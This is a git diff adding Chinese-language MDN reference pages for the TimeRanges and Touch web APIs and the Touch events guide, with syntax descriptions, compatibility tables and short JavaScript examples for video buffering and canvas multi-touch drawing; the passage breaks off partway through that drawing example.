+ + + + + + + + + + + + + + + + + + +
IE其它浏览器
{{domxref("TextRange.text")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
+ +

扩展

+ + diff --git a/files/zh-cn/web/api/timeranges/end/index.html b/files/zh-cn/web/api/timeranges/end/index.html new file mode 100644 index 0000000000..9bd1ac8b14 --- /dev/null +++ b/files/zh-cn/web/api/timeranges/end/index.html @@ -0,0 +1,72 @@ +--- +title: TimeRanges.end() +slug: Web/API/TimeRanges/end +translation_of: Web/API/TimeRanges/end +--- +
{{APIRef("DOM")}}
+ +

返回指定时间范围的结束偏移量。

+ +

语法

+ +
endTime = TimeRanges.end(index)
+
+ +

参数

+ + + +

异常

+ +
+
INDEX_SIZE_ERR
+
如果不存在指定索引值的时间范围,抛出 DOMException 异常。
+
+ +

示例

+ +

假定页面中存在一个ID为“myVideo”的 video 元素:

+ +
var v = document.getElementById("myVideo");
+
+var buf = v.buffered;
+
+var numRanges = buf.length;
+
+if (buf.length == 1) {
+  // only one range
+  if (buf.start(0) == 0 && buf.end(0) == v.duration) {
+    // The one range starts at the beginning and ends at
+    // the end of the video, so the whole thing is loaded
+  }
+}
+
+ +

这个例子演示了如何通过 TimeRanges 来判断 video 是否已经完全加载。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-timeranges-end", "TimeRanges.end()")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.TimeRanges.end")}}

diff --git a/files/zh-cn/web/api/timeranges/index.html b/files/zh-cn/web/api/timeranges/index.html new file mode 100644 index 0000000000..f6cf419d4b --- /dev/null +++ b/files/zh-cn/web/api/timeranges/index.html @@ -0,0 +1,103 @@ +--- +title: TimeRanges +slug: Web/API/TimeRanges +translation_of: Web/API/TimeRanges +--- +
{{APIRef("DOM")}}
+ +
 TimeRanges 接口用来表示一组时间范围,主要目的是跟踪供{{HTMLElement("audio")}} 和 
+ +
{{HTMLElement("video")}} 元素加载使用的媒体哪些部分已经被缓冲。  
+ +

一个 TimeRanges 对象包括一个或多个时间范围,其中每个都由一个开始偏移量和结束偏移量指定。你可以将你想要检索的时间范围的索引值传递给 start() 和 end() 方法来引用每个时间范围。

+ +

术语"normalized TimeRanges object"指出这种对象中的范围时有序的,不重叠的,不为空并且不接触的(相邻范围被折叠成更大的范围)。

+ +

属性

+ +
+
{{domxref("TimeRanges.length")}} {{ReadOnlyInline}}
+
返回一个 unsigned long 类型的数字。表示由time range对象表示的time ranges的数量。
+
+ +

方法

+ +
+
{{domxref("TimeRanges.start()")}}
+
返回具有指定索引的范围的开始时间。
+
{{domxref("TimeRanges.end()")}}
+
返回指定范围的结束时间。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "embedded-content.html#time-ranges", "TimeRanges")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/timeranges/length/index.html b/files/zh-cn/web/api/timeranges/length/index.html new file mode 100644 index 0000000000..1fac25738a --- /dev/null +++ b/files/zh-cn/web/api/timeranges/length/index.html @@ -0,0 +1,59 @@ +--- +title: TimeRanges.length +slug: Web/API/TimeRanges/length +translation_of: Web/API/TimeRanges/length +--- +
{{APIRef("DOM")}}
+ +

只读属性 TimeRanges.length 返回对象中时间范围的个数。

+ +

语法

+ +
length = TimeRanges.length;
+
+ +

示例

+ +

假定页面中存在一个ID为“myVideo”的 video 元素:

+ +
var v = document.GetElementById("myVideo");
+
+var buf = v.buffered;
+
+var numRanges = buf.length;
+
+if (buf.length == 1) {
+  // Only one range
+  if (buf.start(0) == 0 && buf.end(0) == v.duration) {
+    // The one range starts at the beginning and ends at
+    // the end of the video, so the whole thing is loaded
+  }
+}
+
+ +

这个例子演示了如何通过 TimeRanges 来判断 video 是否已经完全加载。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-timeranges-length", "TimeRanges.length()")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.TimeRanges.length")}}

diff --git a/files/zh-cn/web/api/timeranges/start/index.html b/files/zh-cn/web/api/timeranges/start/index.html new file mode 100644 index 0000000000..48f53a9a02 --- /dev/null +++ b/files/zh-cn/web/api/timeranges/start/index.html @@ -0,0 +1,72 @@ +--- +title: TimeRanges.start() +slug: Web/API/TimeRanges/start +translation_of: Web/API/TimeRanges/start +--- +

{{APIRef("DOM")}}

+ +

{{gecko_minversion_header("2.0")}}

+ +

返回指定时间范围的开始偏移量。

+ +

语法

+ +
startTime = TimeRanges.start(index)
+
+ +

参数

+ + + +

异常

+ +
+
INDEX_SIZE_ERR
+
如果不存在指定索引值的时间范围,抛出 DOMException 异常。
+
+ +

示例

+ +

假定页面中存在一个ID为“myVideo”的 video 元素:

+ +
var v = document.getElementById("myVideo");
+
+var buf = v.buffered;
+
+var numRanges = buf.length;
+
+if (buf.length == 1) {
+  // only one range
+  if (buf.start(0) == 0 && buf.end(0) == v.duration) {
+    // The one range starts at the beginning and ends at
+    // the end of the video, so the whole thing is loaded
+  }
+}
+
+ +

这个例子演示了如何通过 TimeRanges 来判断 video 是否已经完全加载。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-timeranges-start", "TimeRanges.start()")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.TimeRanges.start")}}

diff --git a/files/zh-cn/web/api/touch/clientx/index.html b/files/zh-cn/web/api/touch/clientx/index.html new file mode 100644 index 0000000000..1af2a13895 --- /dev/null +++ b/files/zh-cn/web/api/touch/clientx/index.html @@ -0,0 +1,28 @@ +--- +title: Touch.clientX +slug: Web/API/Touch/clientX +tags: + - touch +translation_of: Web/API/Touch/clientX +--- +

{{ ApiRef() }}

+

概述

+

返回触点相对于可见视区(visual viewport)左边沿的的X坐标. 不包括任何滚动偏移.这个值会根据用户对可见视区的缩放行为而发生变化.

+

语法

+
var x = touchItem.clientX;
+
+

返回值

+
+
+ x
+
+ 触点相对于可见视区(visual viewport)左边沿的的X坐标. 不包括任何滚动偏移.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/clienty/index.html b/files/zh-cn/web/api/touch/clienty/index.html new file mode 100644 index 0000000000..d905fd66b9 --- /dev/null +++ b/files/zh-cn/web/api/touch/clienty/index.html @@ -0,0 +1,26 @@ +--- +title: Touch.clientY +slug: Web/API/Touch/clientY +translation_of: Web/API/Touch/clientY +--- +

{{ ApiRef() }}

+

概述

+

返回触点相对于可见视区(visual viewport)上边沿的的Y坐标. 不包括任何滚动偏移.这个值会根据用户对可见视区的缩放行为而发生变化.

+

语法

+
var y = touchItem.clientY;
+
+

返回值

+
+
+ y
+
+ 返回触点相对于可见视区(visual viewport)上边沿的的Y坐标. 不包括任何滚动偏移.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/force/index.html b/files/zh-cn/web/api/touch/force/index.html new file mode 100644 index 0000000000..b902045bcf --- /dev/null +++ b/files/zh-cn/web/api/touch/force/index.html @@ -0,0 +1,28 @@ +--- +title: Touch.force +slug: Web/API/Touch/force +tags: + - touch +translation_of: Web/API/Touch/force +--- +

{{ ApiRef() }}

+

概述

+

返回这个 {{ domxref("Touch") }} 对象对应的手指挤压触摸平面的压力大小, 从0.0(没有压力)到1.0(最大压力)的浮点数.

+

语法

+
var force = touchItem.force;
+
+

返回值

+
+
+ force
+
+ 手指挤压触摸平面的压力大小. 从0.0(没有压力)到1.0(设备可识别的最大压力)的浮点数.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/identifier/index.html b/files/zh-cn/web/api/touch/identifier/index.html new file mode 100644 index 0000000000..bf42f62668 --- /dev/null +++ b/files/zh-cn/web/api/touch/identifier/index.html @@ -0,0 +1,22 @@ +--- +title: Touch.identifier +slug: Web/API/Touch/identifier +tags: + - touch +translation_of: Web/API/Touch/identifier +--- +

{{ ApiRef() }}

+

概述

+

返回一个可以唯一地识别和触摸平面接触的点的值. 这个值在这根手指(或触摸笔等)所引发的所有事件中保持一致, 直到它离开触摸平面.

+

语法

+
var id = touchItem.identifier;
+
+

返回值

+
+
+ id
+
+ {{ domxref("Touch") }} 对象的唯一标识符.
+
+

标准定义

+

Touch Events Specification

diff --git a/files/zh-cn/web/api/touch/index.html b/files/zh-cn/web/api/touch/index.html new file mode 100644 index 0000000000..79f3092cdf --- /dev/null +++ b/files/zh-cn/web/api/touch/index.html @@ -0,0 +1,117 @@ +--- +title: Touch +slug: Web/API/Touch +tags: + - API + - TouchEvent + - touch + - 参考 + - 接口 +translation_of: Web/API/Touch +--- +

{{ ApiRef("Touch Events") }}

+ +

Touch 对象表示在触控设备上的触摸点。通常是指手指或者触控笔在触屏设备或者触摸板上的操作。

+ +

对象属性 {{ domxref("Touch.radiusX") }}, {{ domxref("Touch.radiusY") }}, 和 {{ domxref("Touch.rotationAngle") }} 表示用户触摸操作所作用的区域,即触摸区域。这些属性对于处理类似于手指触摸之类的不精确操作很有帮助。这些属性可以表示出一个尽可能匹配触控区域的椭圆形(例如用户的指尖触控)。 {{experimental_inline}}

+ +
注意: 以下很多属性的值需要依赖硬件设备去获取,例如,如果设备本身不支持侦测压感,那么 force 属性的值将始终是0,对于 radiusXradiusY 来说同样可能有这种情况,如果设备认为触点只是一个点而不是一个面, 它们始终为1。 
+ +

构造函数

+ +
+
{{domxref("Touch.Touch", "Touch()")}} {{experimental_inline}}
+
创建一个Touch对象。
+
+
+ +

属性

+ +

这个接口没有父类,不继承任何属性。

+ +

基本属性

+ +
+
{{ domxref("Touch.identifier") }}{{readonlyInline}}
+
Touch 对象的唯一标识符。 一次触摸动作(例如手指触摸)在平面上移动的整个过程中, 该标识符不变。可以根据它来判断跟踪的是否是同一次触摸过程。
+
{{ domxref("Touch.screenX") }}{{readonlyInline}}
+
触点相对于屏幕左边缘的X坐标。
+
{{ domxref("Touch.screenY") }}{{readonlyInline}}
+
触点相对于屏幕上边缘的Y坐标。
+
{{ domxref("Touch.clientX") }}{{readonlyInline}}
+
触点相对于可见视区(visual viewport)左边缘的X坐标。不包括任何滚动偏移。
+
{{ domxref("Touch.clientY") }}{{readonlyInline}}
+
触点相对于可见视区(visual viewport)上边缘的Y坐标。不包括任何滚动偏移。
+
{{ domxref("Touch.pageX") }}{{readonlyInline}}
+
触点相对于HTML文档左边缘的X坐标。当存在水平滚动的偏移时, 这个值包含了水平滚动的偏移。
+
{{ domxref("Touch.pageY") }}{{readonlyInline}}
+
触点相对于HTML文档上边缘的Y坐标。当存在垂直滚动的偏移时, 这个值包含了垂直滚动的偏移。
+
{{ domxref("Touch.target") }}{{readonlyInline}}
+
返回触摸点最初接触的 {{ domxref("Element")}},即使这个触摸点已经移出那个元素的交互区域。需要注意的是, 如果这个元素在触摸过程中被移除, 这个事件仍然会指向它, 因此这个事件也不会冒泡到 windowdocument 对象。因此, 如果有元素在触摸过程中可能被移除, 最佳实践是将触摸事件的监听器绑定到这个元素本身, 防止元素被移除后, 无法再从它的上一级元素上侦测到从该元素冒泡的事件。
+
+ +

触摸区域

+ +

{{SeeCompatTable}}

+ +
+
{{ domxref("Touch.radiusX") }}{{readonlyInline}}{{experimental_inline}}
+
返回能够包围接触区域的最小椭圆的水平轴(X轴)半径。这个值的单位和 screenX 相同
+
{{ domxref("Touch.radiusY") }}{{readonlyInline}}{{experimental_inline}}
+
返回能够包围接触区域的最小椭圆的垂直轴(Y轴)半径。这个值的单位和 screenY 相同。
+
{{ domxref("Touch.rotationAngle") }}{{readonlyInline}}{{experimental_inline}}
+
返回一个角度值,表示上述由radiusXradiusY 描述的椭圆为了尽可能精确地覆盖用户与平面之间的接触区域而需要顺时针旋转的角度。
+
{{ domxref("Touch.force") }}{{readonlyInline}}{{experimental_inline}}
+
返回用户对触摸平面的压力大小,是一个从0.0(没有压力)到1.0(最大压力)的浮点数。
+
+ +
+
+ +

Methods

+ +

这个接口没有方法,也没有父类,不继承任何方法。

+ +

示例

+ +

请看 example on the main Touch events article

+ +
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}加入 radiusXradiusYrotationAngleforce 属性,和 Touch() 构造函数。
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}初始定义。
+ +

浏览器兼容性

+ +

{{Compat("api.Touch")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/touch/pagex/index.html b/files/zh-cn/web/api/touch/pagex/index.html new file mode 100644 index 0000000000..ff6743a478 --- /dev/null +++ b/files/zh-cn/web/api/touch/pagex/index.html @@ -0,0 +1,28 @@ +--- +title: Touch.pageX +slug: Web/API/Touch/pageX +tags: + - touch +translation_of: Web/API/Touch/pageX +--- +

{{ ApiRef() }}

+

概述

+

触点相对于HTML文档左边沿的的X坐标. 和 clientX 属性不同, 这个值是相对于整个html文档的坐标, 和用户滚动位置无关. 因此当存在水平滚动的偏移时, 这个值包含了水平滚动的偏移.

+

语法

+
var x = touchItem.pageX;
+
+

返回值

+
+
+ x
+
+ 触点相对于HTML文档左边沿的的X坐标. 当存在水平滚动的偏移时, 这个值包含了水平滚动的偏移.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/pagey/index.html b/files/zh-cn/web/api/touch/pagey/index.html new file mode 100644 index 0000000000..4987c2eb3d --- /dev/null +++ b/files/zh-cn/web/api/touch/pagey/index.html @@ -0,0 +1,28 @@ +--- +title: Touch.pageY +slug: Web/API/Touch/pageY +tags: + - touch +translation_of: Web/API/Touch/pageY +--- +

{{ ApiRef() }}

+

概述

+

触点相对于HTML文档上边沿的的Y坐标. 和 clientY 属性不同, 这个值是相对于整个html文档的坐标, 和用户滚动位置无关. 因此当存在垂直滚动的偏移时, 这个值包含了垂直滚动的偏移.

+

语法

+
var y = touchItem.pageY;
+
+

返回值

+
+
+ y
+
+ 触点相对于HTML文档上边沿的的Y坐标. 当存在垂直滚动的偏移时, 这个值包含了垂直滚动的偏移.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/radiusx/index.html b/files/zh-cn/web/api/touch/radiusx/index.html new file mode 100644 index 0000000000..e1609b4d19 --- /dev/null +++ b/files/zh-cn/web/api/touch/radiusx/index.html @@ -0,0 +1,27 @@ +--- +title: Touch.radiusX +slug: Web/API/Touch/radiusX +translation_of: Web/API/Touch/radiusX +--- +

{{ ApiRef() }}

+

概述

+

能够包围用户和触摸平面的接触面的最小椭圆的水平轴(X轴)半径. 这个值的单位和 screenX 相同.

+

这个属性和 {{ domxref("Touch.radiusY") }} ,  {{ domxref("Touch.rotationAngle") }} 一起, 描述了用户和触摸平面的接触面. 这在面向非精确触摸设备(由手指直接操作的触摸屏)开发时非常有用. 这些值描述了一个尽可能接近实际接触面(例如用户的指尖)的椭圆.

+

语法

+
var xRadius = touchItem.radiusX;
+
+

返回值

+
+
+ xRadius
+
+ 能够包围用户和触摸平面的接触面的最小椭圆的水平轴(X轴)半径.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/radiusy/index.html b/files/zh-cn/web/api/touch/radiusy/index.html new file mode 100644 index 0000000000..2243af5c73 --- /dev/null +++ b/files/zh-cn/web/api/touch/radiusy/index.html @@ -0,0 +1,27 @@ +--- +title: Touch.radiusY +slug: Web/API/Touch/radiusY +translation_of: Web/API/Touch/radiusY +--- +

{{ ApiRef() }}

+

概述

+

能够包围用户和触摸平面的接触面的最小椭圆的垂直轴(Y轴)半径. 这个值的单位和 screenY 相同.

+

这个属性和 {{ domxref("Touch.radiusX") }} ,  {{ domxref("Touch.rotationAngle") }} 一起, 描述了用户和触摸平面的接触面. 这在面向非精确触摸设备(由手指直接操作的触摸屏)开发时非常有用. 这些值描述了一个尽可能接近实际接触面(例如用户的指尖)的椭圆.

+

语法

+
var yRadius = touchItem.radiusY;
+
+

返回值

+
+
+ yRadius
+
+ 能够包围用户和触摸平面的接触面的最小椭圆的垂直轴(Y轴)半径.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/rotationangle/index.html b/files/zh-cn/web/api/touch/rotationangle/index.html new file mode 100644 index 0000000000..dcad758fa7 --- /dev/null +++ b/files/zh-cn/web/api/touch/rotationangle/index.html @@ -0,0 +1,28 @@ +--- +title: Touch.rotationAngle +slug: Web/API/Touch/rotationAngle +tags: + - touch +translation_of: Web/API/Touch/rotationAngle +--- +

{{ ApiRef() }}

+

概述

+

返回以度为单位的旋转角. 由radiusXradiusY 描述的正方向的椭圆,通过顺时针旋转这个角度后,能最精确地覆盖住用户和触摸平面的接触面的角度. 这个值可能从0到90. 这三个值一起描述了用户和触摸平面的接触面的形状的大小. 例如, 当用户使用手指和平面接触时, 它可能是一个较大的椭圆, 而当用户使用触摸笔时, 它可能是很小的椭圆.

+

语法

+
var angle = touchItem.rotationAngle;
+
+

返回值

+
+
+ angle
+
+ 以度为单位的旋转角. 由radiusXradiusY 描述的正方向的椭圆,通过顺时针旋转这个角度后,能最精确地覆盖住用户和触摸平面的接触面的角度.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/screenx/index.html b/files/zh-cn/web/api/touch/screenx/index.html new file mode 100644 index 0000000000..ef9ac6d9e0 --- /dev/null +++ b/files/zh-cn/web/api/touch/screenx/index.html @@ -0,0 +1,28 @@ +--- +title: Touch.screenX +slug: Web/API/Touch/screenX +tags: + - touch +translation_of: Web/API/Touch/screenX +--- +

{{ ApiRef() }}

+

概述

+

返回触点相对于屏幕左边沿的的X坐标. 不包含页面滚动的偏移量.

+

语法

+
var x = touchItem.screenX;
+
+

返回值

+
+
+ x
+
+ 触点相对于屏幕左边沿的的X坐标. 不包含页面滚动的偏移量.
+
+

标准定义

+

Touch Events Specification

+

相关链接

+ diff --git a/files/zh-cn/web/api/touch/screeny/index.html b/files/zh-cn/web/api/touch/screeny/index.html new file mode 100644 index 0000000000..e3c583c101 --- /dev/null +++ b/files/zh-cn/web/api/touch/screeny/index.html @@ -0,0 +1,36 @@ +--- +title: Touch.screenY +slug: Web/API/Touch/screenY +tags: + - touch +translation_of: Web/API/Touch/screenY +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回触点相对于屏幕上边沿的Y坐标. 不包含页面滚动的偏移量.

+ +

语法

+ +
var y = touchItem.screenY;
+
+ +

返回值

+ +
+
y
+
触点相对于屏幕上边沿的Y坐标. 不包含页面滚动的偏移量.
+
+ +

标准定义

+ +

Touch Events Specification

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/touch/target/index.html b/files/zh-cn/web/api/touch/target/index.html new file mode 100644 index 0000000000..be815271e8 --- /dev/null +++ b/files/zh-cn/web/api/touch/target/index.html @@ -0,0 +1,77 @@ +--- +title: Touch.target +slug: Web/API/Touch/target +tags: + - API + - DOM + - EventTarget + - TouchEvent + - touch + - 属性 + - 移动设备 + - 触摸 +translation_of: Web/API/Touch/target +--- +

{{ APIRef("Touch Events") }}

+ +

概述

+ +

这个属性返回触摸点最初接触的 Element,即使这个触摸点已经移出那个元素的交互区域,甚至移出文档。需要注意的是,如果这个元素在触摸过程中被移除,这个事件仍然会指向它,因此这个事件也不会冒泡到 window 或 document 对象。因此,如果有元素在触摸过程中可能被移除,最佳实践是将触摸事件的监听器绑定到这个元素本身,防止元素被移除后,无法再从它的上一级元素上侦测到从该元素冒泡的事件。

+ +

语法

+ +
var el = touchPoint.target;
+
+ +

返回值

+ +
+
el
+
{{domxref("Touch")}} 对象的目标元素。
+
+ +

示例

+ +

这个例子展示了如何访问 {{domxref("Touch")}} 对象的 {{domxref("Touch.target")}} 属性。{{domxref("Touch.target")}} 属性是最初接触平面的触摸点下的 {{domxref("Element")}} ({{domxref("EventTarget")}}) 。

+ +

在下面的代码片段中,我们假设用户在  source 元素上开始接触,因此初始化了一个或多个触摸点。当这个元素上的 {{event("touchstart")}} 事件处理程序被调用时,每个触摸点的 {{domxref("Touch.target")}} 属性可经事件的 {{domxref("TouchEvent.targetTouches")}} 列表访问。

+ +
// 为'source'元素注册一个触摸监听器
+var src = document.getElementById("source");
+
+src.addEventListener('touchstart', function(e) {
+  // 在这个元素上激活的触点间循环
+  for (var i=0; i < e.targetTouches.length; i++) {
+    console.log("touchpoint[" + i + "].target = " + e.targetTouches[i].target);
+  }
+}, false);
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Touch Events 2','#dom-touch-target')}}{{Spec2('Touch Events 2')}}Non-stable version.
{{SpecName('Touch Events', '#widl-Touch-target')}}{{Spec2('Touch Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Touch.target")}}

diff --git a/files/zh-cn/web/api/touch/touch/index.html b/files/zh-cn/web/api/touch/touch/index.html new file mode 100644 index 0000000000..768a18ce57 --- /dev/null +++ b/files/zh-cn/web/api/touch/touch/index.html @@ -0,0 +1,121 @@ +--- +title: Touch() +slug: Web/API/Touch/Touch +translation_of: Web/API/Touch/Touch +--- +

{{APIRef("Touch Events")}}{{SeeCompatTable}}

+ +

Touch() 构造器创建一个新的 {{domxref("Touch")}} 对象.

+ +

Syntax

+ +
 touch = new Touch(touchInit);
+ +

Arguments

+ +
+
touchInit
+
+ +
+
是一个TouchInit 字典,它拥有以下属性:
+
+
    +
  • "identifier", 必须,是一个长整型,表示一个触摸点的数字标记。
  • +
  • "target", 必须, 是 {{domxref("EventTarget")}}类型,表示在触摸点开始接触接触面时的节点。
  • +
  • "clientX", 可选,默认为0,为双精度浮点数类型,表示触摸在浏览器视口的横轴坐标,不包括滚动条的偏移距离。 
  • +
  • "clientY", 可选,默认为0,为双精度浮点数类型,表示触摸在浏览器视口的横轴坐标,不包括滚动条的偏移距离。 
  • +
  • "screenX", 可选,默认为0,为双精度浮点数类型,表示以用户屏幕为基准的,触摸点横坐标。
  • +
  • "screenY", 可选,默认为0,为双精度浮点数类型,表示以用户屏幕为基准的,触摸点纵坐标。
  • +
  • "pageX",可选,默认为0,为双精度浮点数类型,表示触摸在用户屏幕的横轴坐标,包括滚动条的偏移距离。 
  • +
  • "pageY", 可选,默认为0,为双精度浮点数类型,表示触摸在用户屏幕的纵轴坐标,包括滚动条的偏移距离。 
  • +
  • "radiusX", 可选,默认为0,为浮点数类型。表示接触面(比如手指,触控笔)接触形成的椭圆,在rotationAngle角度下横轴上形成的椭圆半径。和screenX使用的CSS像素保持同一个缩放大小。这个值不能为负。
  • +
  • "radiusY", 可选,默认为0,为浮点数类型。表示接触面(比如手指,触控笔)接触形成的椭圆,在rotationAngle角度下纵轴上形成的椭圆半径。和screenY使用的CSS像素保持同一个缩放大小。这个值不能为负。
  • +
  • "rotationAngle", 可选,默认为0,为浮点数类型。表示由 radiusX 和 radiusY决定的椭圆在顺时针方向相对其中心偏转的角度。这个值介于0到90度之间。如果由 radiusX 和 radiusY决定的椭圆是一个标准圆形,则rotationAngle没有任何效用。用户设备可能用0表示这种标准圆形的情况,或者用其他符合要求范围的值来表示(比如,用户设备可能用上一次的触摸事件rotationAngle值,来避免突然变动)。
  • +
  • "force",可选,默认为0,为浮点数类型。表示触摸体对触摸面的压力值。范围为从0到1:0表示压力为零,1表示设备能承受的最大压力敏感值。对压力的敏感值变动范围根据不同环境变动比较大。
  • +
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}{{Spec2('Touch Events 2')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("48.0")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatOpera("35")}}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatChrome("48.0")}}{{CompatChrome("48.0")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatOpera("35")}}{{ CompatUnknown() }}
+
+ +


+ See also

+ + diff --git a/files/zh-cn/web/api/touch_events/index.html b/files/zh-cn/web/api/touch_events/index.html new file mode 100644 index 0000000000..50da7204f6 --- /dev/null +++ b/files/zh-cn/web/api/touch_events/index.html @@ -0,0 +1,353 @@ +--- +title: 触摸事件 +slug: Web/API/Touch_events +tags: + - DOM + - Touch Event + - touch + - 事件 + - 指南 + - 移动设备 + - 触控 + - 触摸 + - 触摸事件 + - 触摸屏 触控板 +translation_of: Web/API/Touch_events +--- +
{{DefaultAPISidebar("Touch Events")}}
+ +
+ +

为了给基于触摸的用户界面提供高质量的支持,触摸事件提供了在触摸屏或触控板上解释手指(或触控笔)活动的能力。

+ +
+ +

触摸事件接口是较为底层的 API,可为特定程序提供多点触控交互(比如双指手势)的支持。多点触控交互开始于一个手指(或触控笔)开始接触设备平面的时刻。随后其他手指也可触摸设备表面,并随意进行划动。当所有手指离开设备平面时,交互结束。整个交互期间,程序接收开始、移动、结束三个阶段的触摸事件。

+ +

触摸事件与鼠标事件类似,不同的是触摸事件还提供同一表面不同位置的同步触摸。{{domxref("TouchEvent")}} 接口将当前所有活动的触摸点封装起来。{{domxref("Touch")}} 接口表示单独一个触摸点,其中包含参考浏览器视角的相对坐标。

+ +

定义

+ +
+
表面(surface)
+
可感知触摸的平面,可以是屏幕或触控板。
+
+ +
+
触摸点(touch point)
+
表面上的一个接触点.。有可能是手指 (或者胳膊肘、耳朵、鼻子都行。但一般是手指) 或者触摸笔.
+
+ +

接口

+ +
+
{{ domxref("TouchEvent") }}
+
表示位于表面上的一个触摸点的某个状态发生改变时产生的事件。
+
{{ domxref("Touch") }}
+
表示用户与触摸表面间的一个单独的接触点。
+
{{ domxref("TouchList") }}
+
表示一组 Touch,用于多点触控的情况。
+
+ +

示例

+ +

本示例通过对多个触控点进行同步跟踪,让用户通过多点触控的方式在 {{ HTMLElement("canvas") }} 元素上用两个(或以上)手指同时画图。本示例只在支持触摸事件的浏览器下生效。

+ +
注:下文中用“手指”表示与平面的交互,当然触控笔等也是可行的。
+ +

创建画布

+ +
<canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
+  你的浏览器不支持 canvas 元素。
+</canvas>
+<br>
+日志:<pre id="log" style="border: 1px solid #ccc;"></pre>
+ +

设置事件处理器

+ +

当页面加载时,下文的 startup() 函数由 window.onload 属性触发。

+ +
window.onload = function startup() {
+  const el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchmove", handleMove, false);
+  log("初始化成功。")
+}
+
+ +

该函数为 {{ HTMLElement("canvas") }} 元素设置了所有相关的事件监听器,使事件在触发时能够得到处理。

+ +

跟踪新触摸

+ +

我们将跟踪当前存在的所有触摸点。

+ +
const ongoingTouches = [];
+ +

当 {{event("touchstart")}} 事件触发时,平面上即出现一个新的触摸点,继而调用 handleStart() :

+ +
function handleStart(evt) {
+  evt.preventDefault();
+  console.log("触摸开始。");
+  const el = document.getElementsByTagName("canvas")[0];
+  const ctx = el.getContext("2d");
+  const touches = evt.changedTouches;
+
+  for (let i = 0; i < touches.length; i++) {
+    console.log("开始第 " + i + " 个触摸 ...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    const color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);
+    // 在起点画一个圆。
+    ctx.fillStyle = color;
+    ctx.fill();
+    console.log("第 " + i + " 个触摸已开始。");
+  }
+}
+
+ +

 {{ domxref("event.preventDefault()") }} 阻止了浏览器继续处理触摸(和鼠标)事件。 然后我们取得上下文,从事件的 {{ domxref("TouchEvent.changedTouches") }} 属性中获得已改变的触摸点列表。

+ +

上述列表中所有的 {{ domxref("Touch") }} 对象即为当前所有活动的触摸点,把它们置于一个数组中,然后为每个触摸绘制起点。我们设置线条宽度为四像素,所以恰好会绘制一个半径为 4 像素的圆。

+ +

当触摸移动时绘制

+ +

在触摸平面上移动一根或者几根手指会触发 {{event("touchmove")}} 事件,从而将调用handleMove() 函数。本例中这个函数用于更新触摸点信息,并为每个触摸点从之前位置到当前位置之间绘制直线。

+ +
function handleMove(evt) {
+  evt.preventDefault();
+  const el = document.getElementsByTagName("canvas")[0];
+  const ctx = el.getContext("2d");
+  const touches = evt.changedTouches;
+
